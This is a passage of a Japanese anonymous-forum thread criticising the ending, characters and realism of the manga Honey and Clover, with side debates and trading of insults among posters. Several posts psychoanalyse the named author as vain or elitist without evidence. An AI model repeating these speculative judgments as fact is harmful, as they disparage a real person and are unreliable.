好む自分分析・頑張りアピール、好まない人間の性格分析・人格否定

羞恥心とかないんだろうね
122 名前：花と名無しさん mailto:sage [2006/10/14(土) 21:38:15 ID:???0]: >>120
効果？
123 名前：花と名無しさん mailto:sage [2006/10/14(土) 21:50:49 ID:???0]: なにこのながれ
124 名前：花と名無しさん mailto:sage [2006/10/14(土) 21:52:36 ID:???0]: 自分の意見が否定されたから本気で怒っちゃったの。ごめんね。
125 名前：114 mailto:sage [2006/10/14(土) 21:53:53 ID:???0]: >>120
うん、そうだね。
ちょっとしたことで思い知る辛さとか、ハチクロんなかにはなかったよねぇ。
つか、実体験書いただけで、俺はおまえと同じ意見なんだけど…。
126 名前：花と名無しさん mailto:sage [2006/10/14(土) 21:57:15 ID:???O]: >>120-121
作中人物同様、痛々しいのも非常識なのも個性のうちと思ってんだろ
自身が卑屈で僻みっぽく、他人と区別されることに固執しているからこそ
『この作品批判してんのは芽が出なかった同人女だ』
『ウミノに個人的な私怨があって粘着しているババアが約一名いるだけ』
といったぶっ飛んだ発想が出てくるんだという事に気づかない。
127 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:02:57 ID:???0]: >>112
111だが、
いや108が絵描きというかもしくはその周辺の職に就いてる人なら
はぐの動揺はむしろ理解出来ない、
リアリティのない感情なのかな？と思ってしまったんですよ。。
ハチクロの美大生はリアリティがないって意見を良く聞くので。

文変でスマソ。
128 名前：sage [2006/10/14(土) 22:25:44 ID:YEXxD9Rb0]: 肯定派より否定派の方が明らかに、逆の意見の人達に食って掛かっていると思うぞ。見ていて引く程に。全員とは言わんが。
肯定派も否定派もいていいじゃん、なんでこの作品は良い・悪いって結論を出したがるかね。
129 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:29:37 ID:???0]: 作者と主人公があまりにかぶるからだろ
130 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:29:57 ID:???O]: >>125
よく読みゃ114は別におかしな内容では全くなかったな。
個人的な体験談を交えた意見が出始めると
僕は私はの自分語りや>119みたいな>121のにあるような
しょうもないレスが続く気がして。

というか過去のそういう状況がよみがえって来てつい
すまんかった。
131 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:33:49 ID:???0]: >>128
肯定派は否定派が指摘してるストーリー上の無理がある点を
フォローできなくて皆こんなに叩かれるなんて思わなかったって
尻尾巻いて逃げ出してるだけだよ。
肯定派のちゃんと地に付いた意見も聞きたいよ。

それからsageはメル欄な。
132 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:42:42 ID:???0]: 怪我をした可哀想な状況に浸るのがウミノさんの目的＝萌えであって
怪我をした人間の心理を真摯に描く気持ちは元々無いんじゃないの？

思うんだけどインタ読んでると自意識過剰で傷つきやすそうな人じゃない？
そして自己顕示欲が強そう。自分がどう見えているかが大事な人。
だからクマをかぶるんだと思う。粗を隠して人前に出るために。
自分像に固執していて、自分を演出したがる。
そして自分を否定されたくないあまり過剰に媚びる。結果、肝心な部分がぶれた言動をする。

そんな私を自由に表現出来る舞台が脳内ドリーム劇場。
主演はもちろんウミノさん・・ね。
133 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:49:12 ID:???0]: >>131
そんなに真剣に肯定か否定か白黒つけなきゃ
漫画って読めないものなのかなぁ
人それぞれの受け取り方があるんだから
同じ場面を見ても、人によって面白かった、つまんなかったって思う部分があったって
いいと思うんだけど。
134 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:52:46 ID:???0]: >>132
まるっと同意。

はぐが修をパートナーに選ぶ選択の為にケガをする必要はないと思う。
別に卒業に合わせてはぐに過去エピを交えて悩ませる位でよかったはず。
ケガをさせたのはそういう悲劇をウミノが描きたかっただけじゃね？と思った。
そしてそれがストーリーを歪ませた元凶。
135 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:53:35 ID:???O]: 本誌のインタビューか何かで、はぐの辛さはクリエイターならわかってくれるとか書いてあったの読んで人となりが掴めた。

選民思想っていうか・・・悲劇のヒロイン体質ぽいね。

でもそういう同人ノリを絵のかわいさや見せ方でカバーしちゃったのがすごいね。
素晴らしき同人漫画
136 名前：花と名無しさん mailto:sage [2006/10/14(土) 22:55:13 ID:???0]: >>133
そういう人はわざわざ2にきて作品を語ったりはしないねｗ
137 名前：125 mailto:sage [2006/10/14(土) 23:04:04 ID:???0]: >>130
いや、俺もただの自分語りでしかなかったよ。
すまん。
もうちょっと先まで書けば良かったね。

実体験があるからこそ、ハチクロの表現の薄さはなんだかなぁって言いたかったんだ。
まず、手の怪我を入れたことによって
はぐにとって創作が大切だっていうことを再認識させる事件であったならば、
もっとそのように描いて欲しかったし。
生きてりゃこういうこともあるよねっていう達観したナチュラルな演出なわけでなし。

最終巻はもう、ウミノさん自身が、ハチクロという作品を早く手放したかったんだなぁとしか思えなかった。
138 名前：花と名無しさん mailto:sage [2006/10/14(土) 23:05:03 ID:???0]: ハチクロ関連はがっつり読み込んでる人たちが理論武装してるんだから
さらっと読んでｵﾓｼﾛｶｯﾀｰなんて言ってる人がかなうはずがないｗ
139 名前：花と名無しさん [2006/10/14(土) 23:07:42 ID:OtKyr3zZ0]: ぶっちゃけなんだかんだ言って皆最後までハチクロ見てしまったんだと思う。
もちろん勝手な見解だけど。俺もその一人だし。
140 名前：花と名無しさん mailto:sage [2006/10/14(土) 23:20:28 ID:???O]: >>127
実際の美大生(元も含む)がそう言ってるからね。
141 名前：花と名無しさん mailto:sage [2006/10/14(土) 23:24:48 ID:???0]: >>135
＞選民思想
それを障害者、嫉妬被害者で表現して簡単に反発できないようにしてしまう。
そして美女未亡人、美少女ロリ－タの外見で媚びるわけ。
142 名前：花と名無しさん mailto:sage [2006/10/14(土) 23:37:03 ID:???0]: ＞最終巻はもう、ウミノさん自身が、ハチクロという作品を早く手放したかったんだなぁとしか思えなかった。

だよね。結局その仕事のいい加減さが批判の的
143 名前：花と名無しさん mailto:sage [2006/10/14(土) 23:41:38 ID:???0]: これだけ批判が挙がるのは、前半で惹きつけられた人が多かったからでもあるのに
自分もそれだったけど、途中から温い目で読むようになったよ
144 名前：花と名無しさん mailto:sage [2006/10/15(日) 00:27:11 ID:???O]: >>133
色々な意見がある状況に一番対応できていないのは自分じゃないか

肯定派否定派だの白黒だのそんな事
133以上にどうでもいいと思ってるよ、殆どの住人は

ただ見当違いなことばっかいってるリア厨丸出しのやつは
ウザがられたりスルーされたりするから

「肯定派は居心地悪くて嫌だわぁ何でこんな殺伐としてるん？（´・ω・｀）」
と133が感じたなら、肯定派にそういう子が多いって事なんじゃないの
145 名前：108,117 mailto:sage [2006/10/15(日) 01:52:07 ID:???0]: なんだか荒れるもとになってしまったようで、すみません。

>ハチクロの美大生はリアリティがないって意見を良く聞くので。

その辺は漫画なので当然と割り引いて楽しんでいたんですが、
ラストが近づくほど話が強引になって白けてしまったというか・・

怪我したばかりのはぐの動揺は理解できないとは言わないけど、
周囲の動揺が大げさすぎるのに一番違和感を覚えたかな。

五体満足でもお金とか時間とか環境とか、描き続けようと思っても
障害はいくらでも襲ってくるからね。
美大出ても実力があっても殆どの人が描けなくなってしまう。
そういう部分を端折ってシリアスな展開に持っていったことが無理があったんじゃないかなと。
どうせリアリティ無いならあのふわふわしたノリのまま行って欲しかったなーと、
思ってしまいました。
146 名前：花と名無しさん mailto:sage [2006/10/15(日) 02:16:56 ID:???0]: ていうかキャラを動かしきれてないよな

竹本がはぐにしてあげた事なんてほぼ無いに等しいし
鬼（先生）の居ぬ間に泊まっただけか？
別にストーリー上居ても居なくてもいい気がした
森田ともっと仲良くなるように絡ませれば良かったと思う
森田の父親シナリオに関わるほどに

森田は伏線が多すぎる
しかも伏線解消が投げやり過ぎる気もした
ぶっちゃけあれで終わらすなら父親シナリオを無しにして
ひたすらはぐと恋愛しようとする方が良かったと思った
あれはあれでいいけど頭いい割に兄貴に付き合いすぎ
どうにか出来たんじゃないのかと

はぐは最後まで存在が希薄過ぎ（ヒロイン的意味で）
序盤～中盤はぶっちゃけ山田と真山の絡みが楽しみの90%だった
はぐをメインにしたかったんだけど山田が予想以上に人気出て
とりあえず一仕事(真山田シナリオ)を簡単に終わらせてはぐに取り掛かりたかったように見えた
はぐは要らない子だと感じた（マスコットには最適）
片思いの時間ならある意味真山のが長かったんじゃないのか？
真山を見習えと　彼は彼女の為に金も貯めてたしひたすら一途に想い続けてた　と

一気にｱﾆﾒ全話見たからもうだめぽ
鬱ぽ
147 名前：花と名無しさん mailto:sage [2006/10/15(日) 02:24:20 ID:???0]: 竹本は要らない子
森田は可哀想な子
はぐは可愛い子＠痛い子
神様が～～　とかで好きな人と付き合えない　ってどうよ

山田はいい子だけど忍耐力がない子
真山はいい奴で忍耐力激高い
真山はひたすら我慢して原田さんをまっすぐ待ち続けた
その間も自分を磨いたり金貯めたりただひたすら
一方山田はダダこねたり野宮当て馬にしたり何度もアタックし直したり
少し山田の処遇は仕方がない気もする＜行動は可愛らしいけどこうやって見るとあんまり褒められたものじゃない

先生は、原田さんを見守る事を耐え切っていたらこんな悲しい物語にならなかったのでは　と
ぶっちゃけある意味ここが切っ掛けな気もする

とりあえず山田と真山の出会いとかのを見せて欲しい＜好きになったきっかけとか

もう色々消化不良
148 名前：花と名無しさん mailto:sage [2006/10/15(日) 02:33:23 ID:???0]: >>127
何を描きたいのか、どう表現したいのか
どうしてその表現方法を選択したのか
表現するためには何が必要なのか
美大生の話なのにそういうの無いよね
描けるか描けないかだけ

ハチクロの才能の話なんて趣味の延長だもん
好きだから、向いてるから
今までそうしてきたから
┐(´ー｀)┌
149 名前：花と名無しさん mailto:sage [2006/10/15(日) 03:00:40 ID:???0]: そしてこれからも…
150 名前：富田派 mailto:sage [2006/10/15(日) 07:20:48 ID:???0]: なんか・・・作者の人自意識過剰すぎ

普通に写真だせばいいのに・・・
151 名前：花と名無しさん [2006/10/15(日) 08:17:15 ID:fvox5S770]: >>148
そこまでこだわるのなら、会社説明会で美大出身だからって絵が
うまいとは限らないという説明を受けるのはなぜ？
何兆円規模の企業だったけど、プロってのは趣味の延長みたいなもんか？
152 名前：花と名無しさん mailto:sage [2006/10/15(日) 10:21:39 ID:???0]: そう言えばはぐも、作品らしい作品は仕上げてないよな。
英才教育受けて、有り余るほどの時間があって、それで何やってたのって感じ。
153 名前：花と名無しさん mailto:sage [2006/10/15(日) 10:43:25 ID:???0]: 早く終わらせたかったからヘンになったとかじゃなく
ああいうヘンな風にしか終わらせられないというのはウミノの才能の欠如。
それでいてものを作る人間がどうのこうのとか片腹痛し。

スガシカオもそうだけど、「歌詞を読みたいと思わせるミュージシャンでありたい」とか
いちいち小者なんだよな。ホンモノは決してそういうことは言わない。
ホンモノに憧れてるだけのニセモノが口だけで言ってるんだよ
この辺のサブカル気取りって。
154 名前：花と名無しさん mailto:sage [2006/10/15(日) 10:50:18 ID:???0]: >>138
＞さらっと読んでｵﾓｼﾛｶｯﾀｰなんて言ってる人がかなうはずがないｗ

漫画なんて、さらっと読んで「あー面白かった！」ってものじゃないの？
批評家じゃないんだし（それともこのスレに来てる人は批評家さんが多いの？ｗ）

もしくは、漫画以上だと思ってるから色々言いたくなるんですか？
じゃぁ細かい部分にまで文句を言ってる人（否定的でも、色々感想言ってる人じゃないですよ）は、
それほどすばらしい作品だったといいたいわけですね！

なるほど～
155 名前：花と名無しさん [2006/10/15(日) 10:53:35 ID:W61uTcHy0]: >>153
で、あたなはその小物をボロクソいえるくらいは才能あるの？
156 名前：花と名無しさん mailto:sage [2006/10/15(日) 10:56:10 ID:???O]: 10巻で終わりだったんだ…

まだまだ続くのかと思ってた。竹本がなんか主人公っぽかったのに、なんか…消化不良…。
なんでアニメ化映画化するほど人気なのかイマイチよくわかんないなー。
157 名前：花と名無しさん mailto:sage [2006/10/15(日) 10:56:16 ID:???0]: えぇ
このスレには才能豊かな天才が多くってよ（きっと）
158 名前：花と名無しさん mailto:sage [2006/10/15(日) 11:18:12 ID:???O]: 漫画に詳しくないから、６巻くらいまでは楽しく読めた、漫画喫茶で読んで泣きそうになったし、でも終わりは唐突すぎた、はぁ？って感じ
159 名前：花と名無しさん mailto:sage [2006/10/15(日) 11:19:16 ID:???0]: >>151
なぜって作者が美大出身者をそう見てるからじゃないの～？
専門学校卒でも同じ事言われそうだけど？
160 名前：花と名無しさん mailto:sage [2006/10/15(日) 11:30:40 ID:???O]: >>155
厨の定型文ktkr
161 名前：花と名無しさん mailto:sage [2006/10/15(日) 11:33:28 ID:???O]: >>153
確かに長渕とかその辺のキャラや言動を意識してる奴らも同じ匂いがするね。
むしろ自分に無いものだから必死になって作り出そうと頑張ってるんだろうけどさ。
162 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:02:45 ID:???0]: >>153
つか、ホンモノってニセモノって何よ？
163 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:10:23 ID:???0]: >153は無視してあげてください
164 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:13:53 ID:???0]: >>163
わかりました。
165 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:24:57 ID:???0]: >>164だが>>164の発言は良くないな。無視やいじめ良くない。（・Ａ・）
>>164は取り消すよ。
166 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:28:48 ID:???0]: 本物っていうか雰囲気漫画、雰囲気歌手ってのがしっくりくる
167 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:55:16 ID:???0]: まあ、歌の技術よりもイメージ作りに必死な歌手も居るけどな。
長渕剛とか、もう亡くなったけど尾崎豊とか。
168 名前：花と名無しさん mailto:sage [2006/10/15(日) 12:57:41 ID:???O]: 富田派氏ね
169 名前：花と名無しさん mailto:sage [2006/10/15(日) 13:27:42 ID:???O]: 芸能人もミュージシャンも大体はイメージが全てだからね。
170 名前：花と名無しさん mailto:sage [2006/10/15(日) 13:38:41 ID:???O]: >>154はもっともらしく恐らく作家が一番言って欲しくない言葉を言ってるな…

>>154がさらっと読み流してる物にどれだけの時間と技術と精神力が
掛けられてるか想像した事もないんだろ。
そんなフォローされても大好きなウミノタンは
喜ぶところか鬱になるよ。
171 名前：花と名無しさん mailto:sage [2006/10/15(日) 14:26:38 ID:???O]: この漫画、友達から借りて新刊が出る度に読んで
先日やっと最終巻を読んだんだけど、ほんと「雰囲気漫画」
って当たってると思った。内容が流れてしまって頭に残らない。
森田兄弟周辺ほんっと同人くさいし。
172 名前：花と名無しさん mailto:sage [2006/10/15(日) 15:57:34 ID:???0]: ｵﾀって重いな
173 名前：花と名無しさん mailto:sage [2006/10/15(日) 16:33:31 ID:???0]: >>170
読者が、どれだけの時間と技術と精神力が掛けられてるか
想像してくれないと鬱になる漫画家なんてプロ失格だと思う。
174 名前：花と名無しさん mailto:sage [2006/10/15(日) 16:54:23 ID:???0]: >>173
読者に「先生の作品さらっと読めて面白かったです☆」
って言われたらどんな作家でも複雑な気持ちになりそう。
特にストーリー系の人。
175 名前：花と名無しさん mailto:sage [2006/10/15(日) 17:07:56 ID:???0]: ｢謙虚｣なウミノ先生のことだから、読んでくれるだけでも
ありがたいと思ってるんじゃないの？
176 名前：花と名無しさん mailto:sage [2006/10/15(日) 18:23:33 ID:???0]: ますます「ものつくり」の才能のある子以外は
自分の作品をわかってくれないと思いますyo
177 名前：花と名無しさん mailto:sage [2006/10/15(日) 19:43:52 ID:???O]: >>10
ｳﾐﾉｰ＼(^O^)／
178 名前：花と名無しさん mailto:sage [2006/10/15(日) 20:18:15 ID:???0]: しかし最後の駆け足のような結末は何だったのか？
羽海野先生も、某幽遊白書の人や某ドラゴンボールの某鳥山先生のように
やばいくらいにストレス溜まって、描くのが嫌になっちゃったのかな？
179 名前：花と名無しさん mailto:sage [2006/10/15(日) 21:15:47 ID:???0]: >>151
「プロ」の話じゃなくて「才能」の話
何をやっても才能豊かで「天才ですから」で済ますか
何をやっても「凡庸」で天才を妬むか
描く欲求やそこに至る経過がないもん
描けないと命をお返ししますって何あれ
描いてる状態が好きな人？

プロは商品として売る作品に責任を取る職業人のこと
「何兆円規模」は関係なくない？
趣味の延長からプロも有りだとおもうけど
ハチクロの大企業とか天才とか言葉のイメージだけじゃん
180 名前：花と名無しさん mailto:sage [2006/10/15(日) 21:39:35 ID:???0]: >>179
描いてる状態が好きというより
描いてる状態じゃないと、自分の場所を感じないとか
そこに存在してる気もしないとか、生きてる感じがないんじゃないかな。
181 名前：花と名無しさん mailto:sage [2006/10/15(日) 22:52:34 ID:???0]: >>180
自分が無い感じ？
自傷行為のかわりに描いてるっぽい

ハチクロって
好きなもの（漫画？同人誌？）を描いていたい
嫉妬されるくらい才能がある、これから世界に通用する
優しい人達が応援してくれる
端的に言うとそういう内容だよね

はっきり言って美術部（漫研？）の部員が将来（職業選択）に悩む話
学問をする大学生なんか出ないし
就職に結びつかない勉強は無駄って感じ
アニメでも全員がクリエイターになるわけじゃない
って言ってたの聞いて当たり前じゃんって思った
簡単には認めてもらえないから
他に仕事を持って描き続ける人が多いのに

美大を職業訓練校と間違えてる
182 名前：花と名無しさん mailto:sage [2006/10/16(月) 00:15:14 ID:???0]: スピッツはホンモノでスガシカオは小者
183 名前：花と名無しさん mailto:sage [2006/10/16(月) 03:33:27 ID:???0]: >>179
>描いてる状態が好きな人？
ワロタ。はぐって描きたい衝動や情熱を抑えられないとかじゃなく
「描いてる自分が好き」にしかみえんよなアレじゃ
184 名前：花と名無しさん mailto:sage [2006/10/16(月) 09:34:49 ID:???O]: おまえ等にプレゼント
ttp://e.pic.to/sf7w
見た人は得
待ち受けにドゾー
185 名前：花と名無しさん mailto:sage [2006/10/16(月) 11:42:30 ID:???0]: >>183
作者自身がそんな感じだしな
186 名前：花と名無しさん mailto:sage [2006/10/16(月) 23:25:42 ID:???0]: ガラかめのマヤに比べると
ハチクロの天才たちはちっさいな
187 名前：花と名無しさん mailto:sage [2006/10/17(火) 01:11:31 ID:???O]: ちょっと聞きたいんだが、リカって、父親に虐待されてたって設定？
188 名前：花と名無しさん mailto:sage [2006/10/17(火) 01:51:20 ID:???0]: ていうか俺は思った
こういう事じゃないか？

羽海野チカ「どんなもんじゃーい！」
羽海野チカ「後半は私流のサプライズや！」
189 名前：花と名無しさん mailto:sage [2006/10/17(火) 01:51:49 ID:???0]: >>186
あっちは失明の危機があろうがスキャンダルで追放されようが
心臓が弱っていようが演劇への執念を捨てない人たちだしなー
庇護者も表面上は突き放したりするし
190 名前：花と名無しさん mailto:sage [2006/10/17(火) 03:08:46 ID:???0]: >>186
でもアレは、時代が違う漫画だからね
比べるのはちょっと…
あんな濃厚なキャラを今時の話をからめて進行してくと、
今よりもっと気持ち悪い仕上がりになりそうよ。
191 名前：花と名無しさん mailto:sage [2006/10/17(火) 08:12:38 ID:???0]: 去年アニメでやってたガラスの仮面は、
原作にあるような濃ゆさを薄めていたが、
別に気持ち悪くはなかったよ。

どうアレンジしようと、
月影先生は気違いだと思ったがｗ
192 名前：花と名無しさん mailto:sage [2006/10/17(火) 11:35:09 ID:???0]: でもガラカメって今読んでも
この人達ちょっと変だけど、とりあえずマヤは演技の天才だ！
とは思うよね。あの説得力のある描写は凄いよｗ
193 名前：花と名無しさん mailto:sage [2006/10/17(火) 12:12:28 ID:???O]: >>184
山田と真山はないの？？？？
194 名前：花と名無しさん mailto:sage [2006/10/17(火) 12:19:57 ID:???0]: 連載が終わった後のあとがきは、
作者が大物漫画家の仲間入りをしたと勘違いしてそうな･･･。
195 名前：花と名無しさん mailto:sage [2006/10/17(火) 13:56:19 ID:???O]: 昨日やっと最終刊読んだ。私は良かったと思う。
非難の声もあるけど、ラストをうやむやにしたり作品を丸投げにしてしまう漫画家もいる中、偉いなとも思う。
次回作も期待してる。
196 名前：花と名無しさん mailto:sage [2006/10/17(火) 15:15:11 ID:???0]: ＞ラストをうやむやにしたり作品を丸投げにしてしまう漫画家もいる中、偉いなとも思う。

それって偉いか？
197 名前：花と名無しさん mailto:sage [2006/10/17(火) 16:04:37 ID:???0]: それで偉いとか思ってくれるファンがついたら
もう言うことないよね。

今まで以上にやりたい放題。
198 名前：花と名無しさん mailto:sage [2006/10/17(火) 16:06:43 ID:???0]: というか
ラストをうやむやにしたとか
作品を丸投げにしたとかって
もろハチクロのことじゃないか？
199 名前：花と名無しさん mailto:sage [2006/10/17(火) 16:23:41 ID:???0]: 完結させただけで偉い人呼ばわりなんて漫画界も舐められたもんだなあ。
200 名前：花と名無しさん mailto:sage [2006/10/17(火) 16:51:35 ID:???0]: でもまあ実際丸投げするのがデフォになってきてはいるけどな
201 名前：花と名無しさん mailto:sage [2006/10/17(火) 17:02:01 ID:???0]: >>198
あれはかなり丸投げラストだと思う
起承　転（パグ怪我）→結（修ちゃんとリハビリ＆八黒バーガー）
丁寧に書いてきたけど思ったほど話が動かなかったのか無理やり感あった
特に作者が堺萌え～云々は、
行き詰ってた時に勢いでもうこれでいいや！って決めた感じする
202 名前：花と名無しさん mailto:sage [2006/10/17(火) 19:07:43 ID:???0]: >>195

↑ウミノっぽくね
203 名前：花と名無しさん mailto:sage [2006/10/17(火) 19:10:50 ID:???0]: スガとのインタ読んだけど、この人の喋り方はやっぱり苦手だと思った
204 名前：花と名無しさん mailto:sage [2006/10/17(火) 20:16:21 ID:???O]: なんだかんだ言って、終わったのがさみしいんだろ。
205 名前：花と名無しさん mailto:sage [2006/10/17(火) 20:19:59 ID:???0]: ↑ウミノっぽくね
206 名前：花と名無しさん mailto:sage [2006/10/17(火) 20:28:19 ID:???0]: >>204
うん…「あんな締め方」で終わったのはｻﾐｼｽ（´・ω・`）
207 名前：花と名無しさん mailto:sage [2006/10/17(火) 22:48:42 ID:???O]: 丸投げ等言われているが…長年読み続け、キャラの一人一人に愛着を感じていた某漫画に〔夢でした～〕と締め括られるよりは(・∀・)イイ!
208 名前：花と名無しさん mailto:sage [2006/10/17(火) 23:15:16 ID:???0]: >>204
ウミノ乙
209 名前：花と名無しさん mailto:sage [2006/10/17(火) 23:18:05 ID:???O]: なんかアンチ意見が多いから書き込みにくいけど

アンチ羽海野の漫画家がアンチ意見書き込みしてたりして。
210 名前：花と名無しさん mailto:sage [2006/10/17(火) 23:24:16 ID:???0]: すげえ妄想だな
よし、それを生かしてハチクロの続編を描いてみろ
211 名前：花と名無しさん mailto:sage [2006/10/17(火) 23:35:26 ID:???0]: ＣＤ全集？出るね
212 名前：花と名無しさん mailto:sage [2006/10/18(水) 00:48:40 ID:???O]: 曲は有名どころだけど数が少ないよね…。
213 名前：花と名無しさん mailto:sage [2006/10/18(水) 01:11:02 ID:???O]: >>209
お前天才だな
病院行ってこい
214 名前：花と名無しさん [2006/10/18(水) 08:55:12 ID:kGSn3Imv0]: >>209
ttp://www.uploda.org/uporg552364.jpg
215 名前：花と名無しさん mailto:sage [2006/10/18(水) 10:04:49 ID:???O]: ええーと思ってたけどアニメで見ると思ってたより悪くなかった
でも修ちゃんの感情だけは、今まであったギャグ描写とかも
好きだからずっとそばに置いて
離れられないようにしたかったんじゃないかみたいになってしまうのでちょっと
216 名前：花と名無しさん mailto:sage [2006/10/18(水) 10:20:02 ID:???O]: 現時点で何万部くらい売れてるんだろ？？
結局真山とはぐだけが両思い？で終わりだよね…？
217 名前：花と名無しさん mailto:sage [2006/10/18(水) 10:41:04 ID:???0]: 竹本と六太郎もね。
218 名前：花と名無しさん [2006/10/18(水) 12:47:26 ID:gqAWGgfZ0]: >>179
僕が言いたいのは、職業としてやる人間は、クライアントに逆らえない
ということ。感性にそむこうが、客がいいといえばいいものなのですよ。
あなたのいう美大生のものづくりの姿勢こそリアリティがないものだ。
いいから物を作れと言われながら、漫画家を夢見つつも、仕事していた
先生からすれば、そのリアルな美大生こそナンセンスなのでは？
　あと、その企業は誰もが知っている電器メーカーで広報だけで
食っているわけではないです。そこらへんは説明不足でしたね。
219 名前：花と名無しさん mailto:sage [2006/10/18(水) 13:45:10 ID:???0]: ファンタジー作品ハチクロにリアルを持ち込むな
220 名前：花と名無しさん mailto:sage [2006/10/18(水) 14:17:54 ID:???O]: >>216
600万部とかなんとか
221 名前：花と名無しさん mailto:sage [2006/10/18(水) 15:33:49 ID:???0]: >>218
>美大生のものづくりの姿勢こそリアリティがないものだ。
>いいから物を作れと言われながら、漫画家を夢見つつも、仕事していた
>先生からすれば、そのリアルな美大生こそナンセンスなのでは？

おまい鋭いｗｗｗ
実際、モラトリアム美大生を見下した漫画だよコレ。
モノを作って苦労してる学生を上から見て、
金を稼げないのは甘いと言わんばかりの腹の立つ設定ｗｗｗ
はぐ、森田、真山、山田は作品や能力で人に必要とされているのがミソだね。
報酬や賞金を受け取れるだけの才能をすでに持っている。
現実の美大生達はハチクロにリアリティは感じないだろうね。
222 名前：花と名無しさん mailto:sage [2006/10/18(水) 15:36:03 ID:???O]: >>220
>>217
㌧です

真山がなんとなくお気に入りキャラｗストーカーだけど…リカさんを北海道に連れてった話でなんか好きになったなぁ
223 名前：花と名無しさん mailto:sage [2006/10/18(水) 17:14:49 ID:???0]: >220>222
今は800万部まで伸びてるっぽいよ
ttp://comic6.2ch.net/test/read.cgi/gcomic/1146483916/634
224 名前：花と名無しさん mailto:sage [2006/10/18(水) 19:29:22 ID:???O]: コンビニにあった10巻帯に800万部って書いてあったー
これから何年かで一千万部もいくんじゃないかな？？
いくら儲ったのか気になっちゃう私は負けorz

最後サンドイッチに四つ葉のクローバーいれてたの良かったなぁ
あれジャムだったっけ？？ハチミツだったら、うまいことまとめた！ってカンジなのに惜しい？なー
225 名前：花と名無しさん mailto:sage [2006/10/18(水) 19:50:22 ID:???0]: >>224
よく人から頭悪いよねって言われない？
226 名前：花と名無しさん mailto:sage [2006/10/18(水) 20:16:24 ID:???O]: ｷﾓ
227 名前：花と名無しさん mailto:sage [2006/10/18(水) 21:11:44 ID:???0]: ハチクロヨカッタヨーって書き込む人達は
なんで判を押したように皆同じようなノリなんだろ。
リア？
228 名前：花と名無しさん mailto:sage [2006/10/18(水) 21:45:46 ID:???0]: >>209
ウミノの代弁者乙
229 名前：花と名無しさん mailto:sage [2006/10/18(水) 22:11:12 ID:???0]: 膿脳毒電波が>>224ﾀﾝを侵食中。
ウミノ的人生勝ち負け二極論の被害者がここにも。
230 名前：花と名無しさん mailto:sage [2006/10/18(水) 22:31:41 ID:???O]: リアしか読んでないし書き込まないと思ってた(笑)
231 名前：花と名無しさん mailto:sage [2006/10/18(水) 22:59:08 ID:???0]: 掲載誌はレディース誌、大人が見れるアニメの触れ込みで深夜にアニメ化までして
読者層がリア限定なんて（ﾟ⊿ﾟ）ｱﾘｴﾈｰ
煽るなら少しは脳みそ働かせて書き込めよ。
232 名前：花と名無しさん mailto:sage [2006/10/18(水) 23:39:54 ID:???O]: ﾜﾛｽ
233 名前：花と名無しさん mailto:sage [2006/10/19(木) 00:14:06 ID:???O]: >>231
ハチクロファンにはリア厨と思われてしまうような大人が多いってことか
234 名前：花と名無しさん mailto:sage [2006/10/19(木) 00:50:28 ID:???0]: このスレだったかアニメスレだったかで誰かが書いてたけど
もう草間彌生がリアルはぐにしか見えない
久しぶりにテレビで見たけど、実際に背も低いんだね
235 名前：花と名無しさん mailto:sage [2006/10/19(木) 01:18:59 ID:???0]: >>234
草間彌生に土下座して市ね
236 名前：花と名無しさん [2006/10/19(木) 08:44:53 ID:GFazmgKGO]: 羽海野さんって人間椅子のメンバーと結婚してるんだよね？
サブカルだなー。
237 名前：花と名無しさん mailto:sage [2006/10/19(木) 08:58:35 ID:???0]: 深夜にアニメみるなんてアニオタだけだろう
238 名前：花と名無しさん mailto:sage [2006/10/19(木) 09:47:14 ID:???O]: アニヲタ以外の層にも見やすいように作るはずだったのに
思いっきりヲタク臭い作品で、
ゴリ押しも虚しく失敗したのが八黒だと思ってる
239 名前：花と名無しさん [2006/10/19(木) 10:32:25 ID:Rk/tCBWj0]: >>234
エエェェェェ…
はぐ＝草間彌生って…
はぐって幼少から常に視界に水玉が見える強迫神経症なんて患ってたっけ？
戦後間もない頃に単身NYに移り住んで、パンも食わず誰にも会わず
ひたすら真っ白い絵を描き続けたり、そこまでする人だっけ？
真逆の選択してなかった？

共通点なんて長野くらいしか思いつかんが。
240 名前：花と名無しさん mailto:sage [2006/10/19(木) 10:36:40 ID:???0]: 作者や信者が意気高々にサブカルのつもりでいても
オタクの文脈では「僕らがいた」とかあの辺でも同じ。
「しんみり系青春センチメンタル少女漫画に萌えるロリコンヲタクの餌」として
見事に取り込まれてたよ
ハチクロアニメ
241 名前：花と名無しさん mailto:sage [2006/10/19(木) 11:56:55 ID:???0]: ハチクロのキャラはなんちゃって美大生だからね…
漫画だから夢があってそれはそれでいいけど
ものづくりの姿勢とかなんとかより、ふいんき（ryが違うっつーか
実際美大出身の人の描いた青春もの読むとわかるけど、もっと殺伐としてる
殺伐としてなくてもどこか苦い現実を感じさせるものが多いよ。
242 名前：花と名無しさん [2006/10/19(木) 12:22:40 ID:5XgdO0SYO]: 大人買いする価値ありますか？
243 名前：花と名無しさん mailto:sage [2006/10/19(木) 12:34:19 ID:???0]: あります
244 名前：花と名無しさん mailto:sage [2006/10/19(木) 13:19:19 ID:???0]: 8巻までにしとき
245 名前：花と名無しさん mailto:sage [2006/10/19(木) 13:33:34 ID:???0]: >>242
３巻まで読んで合わないと感じたらそれ以上行くな
246 名前：花と名無しさん [2006/10/19(木) 14:25:11 ID:AR2Nfl79O]: J-POP界でひっそりと『おれがファンクの歴史を作る』って息巻いていた頃のスガを返してください。
247 名前：花と名無しさん [2006/10/19(木) 16:28:04 ID:EG3u0cHCO]: 羽海野は本気で☆矢知らなかったの？＞九巻あとがき漫画
なんかわざとらしくて不快
248 名前：花と名無しさん mailto:sage [2006/10/19(木) 17:17:22 ID:???0]: >>245
ﾊｹﾞﾄﾞｳ
コメディ路線が好きだったのに山田にフォーカスあてて以降
山田＝ｳﾐﾉ化が進み作者の願望充足物語になってしまった
